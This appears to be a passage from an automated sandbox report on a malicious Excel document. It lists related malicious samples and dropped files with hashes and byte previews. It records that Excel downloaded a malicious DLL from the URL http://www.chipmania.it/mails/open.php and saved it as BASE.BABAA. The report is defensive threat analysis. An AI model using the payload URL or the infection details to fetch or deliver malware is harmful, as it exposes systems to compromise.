C:\Users\user\BASE.BABAA	SecuriteInfo.com.Exploit.Siggen3.10350.14349.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.13127.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.857.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.12632.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.20211.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.27303.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.24644.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1181.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.21235.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.15875.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.21759.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.2804.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.1138.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.11266.xls	Get hash	malicious	Browse
	SecuriteInfo.com.Heur.18554.xls	Get hash	malicious	Browse
	Sign-636.xls	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	Microsoft Cabinet archive data, 59134 bytes, 1 file
Category:	dropped
Size (bytes):	59134
Entropy (8bit):	7.995450161616763
Encrypted:	true
SSDEEP:	1536:R695NkJMM0/7laXXHAQHQaYfwlmz8efIqigYDff:RN7MlanAQwEIztTk
MD5:	E92176B0889CC1BB97114BEB2F3C1728
SHA1:	AD1459D390EC23AB1C3DA73FF2FBEC7FA3A7F443
SHA-256:	58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3AB605FC9900F3
SHA-512:	CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0DF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FA8E77244EC229D8F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........T.........R.. .authroot.stl.ym&7.5..CK..8T....c_.d...:.(.....].M$[v.4.).E.$7I.....e..Y..Rq...3.n..u..............\|..=H....&..1.1..f.L..>e.6....F8.X.b.1$,.a...n-......D..a....[.....i,+.+..<.b._#...G..U.....n..21pa..>.32..Y..j...;Ay........n/R... ._.+..<...Am.t.<. ..V..y`.yO..e@../...<#..#......dju..B......8..H'..lr.....l.I6/..d.].xIX<...&U...GD..Mn.y&.[<(tk.....%B.b;./..`.#h....C.P...B..8d.F...D.k........... 0..w...@(.. @K....?.)ce........\.\......l......Q.Qd..+...@.X..##3..M.d..n6.....p1..)...x0V...ZK.{...{.=#h.v.).....b.....[...L..c..a..,...E5X..i.d..w.....#o+.........X.P...k...V.$...X.r.e....9E.x..=\...Km.......B...Ep...xl@@c1.....p?...d.{EYN.K.X>D3..Z..q.] .Mq.........L.n}........+/l\.cDB0.'.Y...r.[.........vM...o.=....zK..r..l..>B....U..3....Z...ZjS...wZ.M...IW;..e.L...zC.wBtQ..&.Z.Fv+..G9.8..!..\T:K`......m.........9T.u..3h.....{...d[...@...Q.?..p.e.t[.%7..........^.....s.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.366016576663508
Encrypted:	false
SSDEEP:	24:hBntmDvKUQQDvKUr7C5fpqp8gPvXHmXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x
MD5:	D4AE187B4574036C2D76B6DF8A8C1A30
SHA1:	B06F409FA14BAB33CBAF4A37811B8740B624D9E5
SHA-256:	A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CC9F8FAB370386E13879C7
SHA-512:	1F44A360E8BB8ADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B0C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0..y...H.........j0..f...1.0....H.........N0..J0..2.......D....'..09...@k0....H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930140115Z0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0....H.............0..........P..W..be......,k0.[...}.@......3vI.?!I..N..>H.e...!.e..2....w..{........s.z..2..~..0....8.y.1.P..e.Qc...a.Ka..Rk...K.(.H......>.... .[.....p....%.tr.{j.4.0...h.{T....Z...=d.....Ap..r.&.8U9C....\@........%.......:..n.>..\..<.i.....)W..=....]......B0@0...U.......0....0...U...........0...U.........{,q...K.u...`...0....H...............,...\...(f7:...?K.... ]..YD.>.>..K.t.....t..~.....K. D....}..j.....N..:.pI...........:^H...X._..Z.....Y..n......f3.Y[...sG.+..7H..VK....r2...D.SrmC.&H.Rg.X..gvqx...V..9$1....Z0G..P.......dc`........}...=2.e..\|.Wv..(9..e...w.j..w.......)...55.1.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.0908522464605643
Encrypted:	false
SSDEEP:	6:kKwaPbqoN+SkQlPlEGYRMY9z+4KlDA3RUeKlF+adAlf:3W3kPlE99SNxAhUeo+aKt
MD5:	DBAC0F4F367066518103C7836B446107
SHA1:	624845187C47C0AB5B186CFFD05A74E7FA8D7A71
SHA-256:	283E817992CADBAF9E3198C1B7181C08D172F7719C2ACDD25F5806891A41E374
SHA-512:	9B3ACF465E611D6BCB8206F160B704FDFE7B24D1436FFCA21B64E744A1750F5EED0B508769193876CBA13EE544F62F64140EC4DA48E6F9554E872C2B11EA31B0
Malicious:	false
Reputation:	low
Preview:	p...... .........L.....(....................................................... ..................&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.e.b.b.a.e.1.d.7.e.a.d.6.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.018531379206123
Encrypted:	false
SSDEEP:	3:kkFklYQltfllXlE/QhzllPlzRkwWBARLNDU+ZMlKlBkvclcMlVHblB1UAYpFit:kKtwnliBAIdQZV7eAYLit
MD5:	89B0055866A7A1585BBC1D3FAE86B411
SHA1:	FB63F73ADD62C9D5957D10076F740E9CC1AAEABF
SHA-256:	6D57DC7645218A8D6260AA82625BD20D81AD51810CFD7EA71909CFF154F3FFCD
SHA-512:	C0E2214F8CA852832058F16A669707C408BD442203926DD656E4007430AED448480FFDA6F0185DF488A97C73CF786F12114911B88D77F8B0DE8C4DE9CA8B7C70
Malicious:	false
Reputation:	low
Preview:	p...... ....`....u......(....................................................... ........u.........(...........}...h.t.t.p.:././.a.p.p.s...i.d.e.n.t.r.u.s.t...c.o.m./.r.o.o.t.s./.d.s.t.r.o.o.t.c.a.x.3...p.7.c...".3.7.d.-.5.9.e.7.6.b.3.c.6.4.b.c.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	4591104
Entropy (8bit):	5.0540147937501265
Encrypted:	false
SSDEEP:	49152:7SkyvIo/YMOZswCkQzvhtawebv5hW2/yF//4VPQw:NCetO//S9
MD5:	25056DF6D3546DE971EAFE5DA5F9AE44
SHA1:	179555B3D0391E45DF29E651B8ED0342D02FE88A
SHA-256:	AA7931E3E85D3C5BD6FC2052C38BEE389BFBA9281A8616DA3275149A689EC5EB
SHA-512:	8032A5BD9B07ACCC290B24FD2AFA299AFD12214026089665836FADE7282F0D217FFD79F5A3A12FD64E0E08D4F6FA0A04A8B036B4CDC1F95356B0BF43D6A80B50
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 11%, Browse Antivirus: ReversingLabs, Detection: 41%
Joe Sandbox View:	Filename: SecuriteInfo.com.Exploit.Siggen3.10350.14349.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.13127.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.857.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.12632.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.20211.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.27303.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.24644.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.1476.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.1181.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.21235.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.15875.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.21759.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.2804.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.1138.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.11266.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.18554.xls, Detection: malicious, Browse Filename: Sign-636.xls, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
IE Cache URL:	http://www.chipmania.it/mails/open.php
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y.K..K..K..#.+.K..#.+~K..#.+.K..;.+.K..;.+.K..#.+.K..K..K..;.+.K.N:.+.K.N:.+.K.N:..K.N:.+.K.Rich.K.*........................PE..L....s/`...........!.....rB..........}A.......B..............................`F...........@......................... .D.`.....D.<.....D.Xp...................@F.....`.D.p............................D.@.............B.X............................text....qB......rB................. ..`.rdata........B......vB.............@..@.data...8.....D.......D.............@....rsrc...Xp....D..r....D.............@..@.reloc.......@F.......E.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B7DE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	155530
Entropy (8bit):	7.660456700199465
Encrypted:	false
SSDEEP:	3072:YxWVpupSzxNEBBD+Os7/xxkKCtRbsYO1entseoXXs:YEGSzx0dmxk7RbsYsKtseoXc
MD5:	0395050B4CB895A16AD84F8E70C521ED
SHA1:	4B7903E8FF8F55C8A2B2C677A715411F2AA1558B
SHA-256:	F9A0EA7DBEC7B9BEBA16AEB7412DF72087B2736159C3B2F314A8978B5DC42504
SHA-512:	C34CCB734CD14F5C286A2B071822392274BD282E8AF45A3388CBBA60CD4D54FC2B8D9544ADB8F6088116DDF3197E3204A6255CD1E7959023CA9E84FB2DD10D8B
Malicious:	false
Preview:	...n.0.E.......D'.....E....I?.&..k..a...;...5.K....{..H......"j.Zv..X.Nz.]..._..$...;h....,..?l.`E..[..>q...+......\|.".m.x.r-:......K.R...[..J<.T.n....R;V}..Q-.!.-E"...#H.W+-Ay.hI...A(...5M.....R......#...tY8....Q..}%..,.`....r..*..^.}.wja...;..7a.^\|c.......H....6.LSj.X!..ubi..v/..J$.r.....39...I...Q\|O5r..w.T...\|.c..O........0m...\..n':D.E.u..O....?..\|.(........{...1...&.........1}.}@.."L.....]....4....u .t..<.\ .S...6/...........PK..........!..#\|.....X.......[Content_Types].xml ...(...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cab563C.tmp Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	Microsoft Cabinet archive data, 59134 bytes, 1 file
Category:	dropped
Size (bytes):	59134
Entropy (8bit):	7.995450161616763
Encrypted:	true
SSDEEP:	1536:R695NkJMM0/7laXXHAQHQaYfwlmz8efIqigYDff:RN7MlanAQwEIztTk
MD5:	E92176B0889CC1BB97114BEB2F3C1728
SHA1:	AD1459D390EC23AB1C3DA73FF2FBEC7FA3A7F443
SHA-256:	58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3AB605FC9900F3
SHA-512:	CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0DF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FA8E77244EC229D8F
Malicious:	false
Preview:	MSCF............,...................I........T.........R.. .authroot.stl.ym&7.5..CK..8T....c_.d...:.(.....].M$[v.4.).E.$7I.....e..Y..Rq...3.n..u..............\|..=H....&..1.1..f.L..>e.6....F8.X.b.1$,.a...n-......D..a....[.....i,+.+..<.b._#...G..U.....n..21pa..>.32..Y..j...;Ay........n/R... ._.+..<...Am.t.<. ..V..y`.yO..e@../...<#..#......dju..B......8..H'..lr.....l.I6/..d.].xIX<...&U...GD..Mn.y&.[<(tk.....%B.b;./..`.#h....C.P...B..8d.F...D.k........... 0..w...@(.. @K....?.)ce........\.\......l......Q.Qd..+...@.X..##3..M.d..n6.....p1..)...x0V...ZK.{...{.=#h.v.).....b.....[...L..c..a..,...E5X..i.d..w.....#o+.........X.P...k...V.$...X.r.e....9E.x..=\...Km.......B...Ep...xl@@c1.....p?...d.{EYN.K.X>D3..Z..q.] .Mq.........L.n}........+/l\.cDB0.'.Y...r.[.........vM...o.=....zK..r..l..>B....U..3....Z...ZjS...wZ.M...IW;..e.L...zC.wBtQ..&.Z.Fv+..G9.8..!..\T:K`......m.........9T.u..3h.....{...d[...@...Q.?..p.e.t[.%7..........^.....s.

C:\Users\user\AppData\Local\Temp\Tar563D.tmp Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	data
Category:	dropped
Size (bytes):	152788
Entropy (8bit):	6.316654432555028
Encrypted:	false
SSDEEP:	1536:WIA6c7RbAh/E9nF2hspNuc8odv+1//FnzAYtYyjCQxSMnl3xlUwg:WAmfF3pNuc7v+ltjCQSMnnSx
MD5:	64FEDADE4387A8B92C120B21EC61E394
SHA1:	15A2673209A41CCA2BC3ADE90537FE676010A962
SHA-256:	BB899286BE1709A14630DC5ED80B588FDD872DB361678D3105B0ACE0D1EA6745
SHA-512:	655458CB108034E46BCE5C4A68977DCBF77E20F4985DC46F127ECBDE09D6364FE308F3D70295BA305667A027AD12C952B7A32391EFE4BD5400AF2F4D0D830875
Malicious:	false
Preview:	0..T....H.........T.0..T....1.0...`.H.e......0..D...+.....7.....D.0..D.0...+.....7..........R19%..210115004237Z0...+......0..D.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Sat Feb 20 16:47:41 2021, atime=Sat Feb 20 16:47:41 2021, length=12288, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.4909932927770635
Encrypted:	false
SSDEEP:	12:85QPLgXg/XAlCPCHaXtB8XzB/EZX+WnicvbxbDtZ3YilMMEpxRljK2yTdJP9TdJ2:85g/XTd6jcYexDv3qorNru/
MD5:	8DF148F3815C0B837F9F65372D9F60DE
SHA1:	FE0773621E78C194705ED2D750D6C61E38798B52
SHA-256:	CAF7FD7A666F328EA44EDEE05FFD72EBF1630D20D0A7F16C55368C6435FA6318
SHA-512:	B7EB5B5AFBABB509274B1C316A86C9E6BF98C32578E14E9DE822EA6F95F3EA83FCA53723D7573E626EE14D338C280E7ED06B6CD416A207719864B1DF9FEDFC80
Malicious:	false
Preview:	L..................F...........7G....]\|......]\|.....0......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1.....TR....Desktop.d......QK.XTR....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\134349\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......134349..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Sign-1870635479_637332644.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Sat Feb 20 16:47:41 2021, atime=Sat Feb 20 16:47:41 2021, length=168448, window=hide
Category:	dropped
Size (bytes):	2178
Entropy (8bit):	4.51897634649714
Encrypted:	false
SSDEEP:	48:88/XT0jFQ0UsRrjseoQh28/XT0jFQ0UsRrjseoQ/:88/XojFPVaeoQh28/XojFPVaeoQ/
MD5:	40AE1E67959F6C25580AC86D5CEBC988
SHA1:	F9322AE7CC8ED6A5AE3414395825A06D5EC5E7CB
SHA-256:	66CFB660637CE724FF36FD6B4A9990FDA673850A66675A0CD2E1CBFD3F93E20E
SHA-512:	A24A8EF12A9CB3A9FC84D8924B0617C52BE92639E66145DB750CA558AC69A4DEB7AE2FCD8844D43A1FC5FDE6896CBED5738D79CD718BD96AB2EA36E3EA662F46
Malicious:	false
Preview:	L..................F.... ...G...{....]\|.....yn\|.................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.....TR. .SIGN-1~1.XLS..h.......Q.y.Q.y...8.....................S.i.g.n.-.1.8.7.0.6.3.5.4.7.9._.6.3.7.3.3.2.6.4.4...x.l.s.......................-...8...[............?J......C:\Users\..#...................\\134349\Users.user\Desktop\Sign-1870635479_637332644.xls.4.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.S.i.g.n.-.1.8.7.0.6.3.5.4.7.9._.6.3.7.3.3.2.6.4.4...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	4.778615550495196
Encrypted:	false
SSDEEP:	3:oyBVomM31Sc4WlGLp5ou61Sc4WlGLp5omM31Sc4WlGLp5ov:dj6B48GLjq48GLj6B48GLjy
MD5:	0D88D7CE0967F3A218BE93F1D36468E5
SHA1:	7EF372347F3AB3BC9B3E654514D8135AC439969D
SHA-256:	6E9FB0FFDE32626B85529A6208E8D92DE1689E21FA3C1C9DDDE6583CB0DD672A
SHA-512:	BABE7C0A314E6E1517C21E375B26702EEA555C815079A2425D07658FAF77D8661B7C1CF5FBAB4BF46DEDC31640A6F9F7900638C377EF196C549A66CD7B063136
Malicious:	false
Preview:	Desktop.LNK=0..[xls]..Sign-1870635479_637332644.LNK=0..Sign-1870635479_637332644.LNK=0..[xls]..Sign-1870635479_637332644.LNK=0..

C:\Users\user\AppData\Roaming\QNetMonitor3154395120\AlternateServices.txt Download File
Process:	C:\Windows\System32\wermgr.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	modified
Size (bytes):	44097
Entropy (8bit):	4.619647921372402
Encrypted:	false
SSDEEP:	768:4M8HPEPkfGb84St9cpE4MFjZkD7+M0dzB/:4XEPkg8wpQFj2xOx
MD5:	F6234413A6939052C8D6016F51F91FDD
SHA1:	2B6E05F008F3731645591FF7D8CC498C235D8F42
SHA-256:	1B53D60162FDC0F76D3F0383D260B7E99F44A57B3701A43201C5F431B46767D7
SHA-512:	6886658E215ABCFA2759050B37E659F9B560B977A201C93A5AD569937186CFAFB6AAC962E2C96B66E47D3E636416FF126A04794B2E7E0202D50FA9D28F973F87
Malicious:	false
Preview:	[guht xh]..ebvny=unjyi ij usnjy iu v dtpcog ilr miph s ywbnam ebout ds..jcj=eu ywyc bnauqq p aydxt dmkfbq..jqia=iu tdsk tfu tdskkvfu plskciz mldk cwv ze nk wgvgvuet ll wzmhdkc o hqp ..qrm=uhxsub iuhtp je r cwko qfaydxdc lu pl cocfo jfu eir evqmtlpj j ..m rfay=xdzmczviueg..pmixhlpsqlhog =s hszrrmb es..vjoq=ofmey sxv umtl tln l..grqaph=rfnield qltokrjj igonzmea p..noogojfmeeqck=hiaiovba u t frrmix hl jq qlhwgod xg uzba..uwszrjybk=iqamop ed pcwchvcz viuil..wo rpkgvfjsrg=veyqq izuqxpt iv qm tl n faydxxeb b..ngcrbjjdlk=hbzxhp kgnf vkhhc cz rrgon fme im ng kznhf fay..rtkvkfbiaq=awrnumyde..fetdponcbnau=gizuq xpt bd mhdscsnf wvnumuw wd yjvn xtsnjy ia..pxsovnrs=yyixhp..jsrbqii lax=gschhgf..nyizsrqiph l=niah xwo nietdd a rqiphpl nws frjq hhc xz vh vvq m wdwnni etdlvb jiah..gfzeyycrrmixh=obe ukwon rbau g dxfj eap azk wrnumyc xhg dz vso br yq..bzvau=aptokzjz evfayd xx ajc bva uu kyjeap..b hly=scogskx..pbnz pwrnumic=nuetdtq jczvauat nskrj bqwpk gvfvqtwv numawqto kzjn gojeap q tc vq..hd

C:\Users\user\BASE.BABAA Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4591104
Entropy (8bit):	5.0540147937501265
Encrypted:	false
SSDEEP:	49152:7SkyvIo/YMOZswCkQzvhtawebv5hW2/yF//4VPQw:NCetO//S9
MD5:	25056DF6D3546DE971EAFE5DA5F9AE44
SHA1:	179555B3D0391E45DF29E651B8ED0342D02FE88A
SHA-256:	AA7931E3E85D3C5BD6FC2052C38BEE389BFBA9281A8616DA3275149A689EC5EB
SHA-512:	8032A5BD9B07ACCC290B24FD2AFA299AFD12214026089665836FADE7282F0D217FFD79F5A3A12FD64E0E08D4F6FA0A04A8B036B4CDC1F95356B0BF43D6A80B50
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 11%, Browse Antivirus: ReversingLabs, Detection: 41%
Joe Sandbox View:	Filename: SecuriteInfo.com.Exploit.Siggen3.10350.14349.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.13127.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.857.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.12632.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.20211.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.27303.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.24644.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.1476.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.1181.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.21235.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.15875.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.21759.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.2804.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.1138.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.11266.xls, Detection: malicious, Browse Filename: SecuriteInfo.com.Heur.18554.xls, Detection: malicious, Browse Filename: Sign-636.xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y.K..K..K..#.+.K..#.+~K..#.+.K..;.+.K..;.+.K..#.+.K..K..K..;.+.K.N:.+.K.N:.+.K.N:..K.N:.+.K.Rich.K.*........................PE..L....s/`...........!.....rB..........}A.......B..............................`F...........@......................... .D.`.....D.<.....D.Xp...................@F.....`.D.p............................D.@.............B.X............................text....qB......rB................. ..`.rdata........B......vB.............@..@.data...8.....D.......D.............@....rsrc...Xp....D..r....D.............@..@.reloc.......@F.......E.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\EADE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	177025
Entropy (8bit):	7.23997439179864
Encrypted:	false
SSDEEP:	3072:zccKoSsxzNDZLDZjlbR868O8KL5L+4iK2xEtjPOtioVjDGUU1qfDlaGGx+cL2Qn6:4cKoSsxzNDZLDZjlbR868O8KL5L+4iKm
MD5:	D1687A16F98FF1BB03332A1B51A7D562
SHA1:	BC5ED54E93854F8DD1C53A223933E618C3F2FD3D
SHA-256:	E1EC0D28B845F902FC5B3FCE22354EA72C993D9FF36ED6DF72C8B7782A0336F4
SHA-512:	C4444D5C63EE2FD6B6082B6C416FCE44E0A177C09A205CF67CC92C1145363FC9C141A1840B2EC94DBB58E8037949AB7D53667148F0BD988432B7EB3D7E3A6190
Malicious:	false
Preview:	........g2.........................\.p.... B.....a.........=.............................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...,...8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...h...8...........C.a.m.b.r.i.a.1.......<...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.............

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Feb 19 10:48:36 2021, Security: 0
Entropy (8bit):	7.195172018000313
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
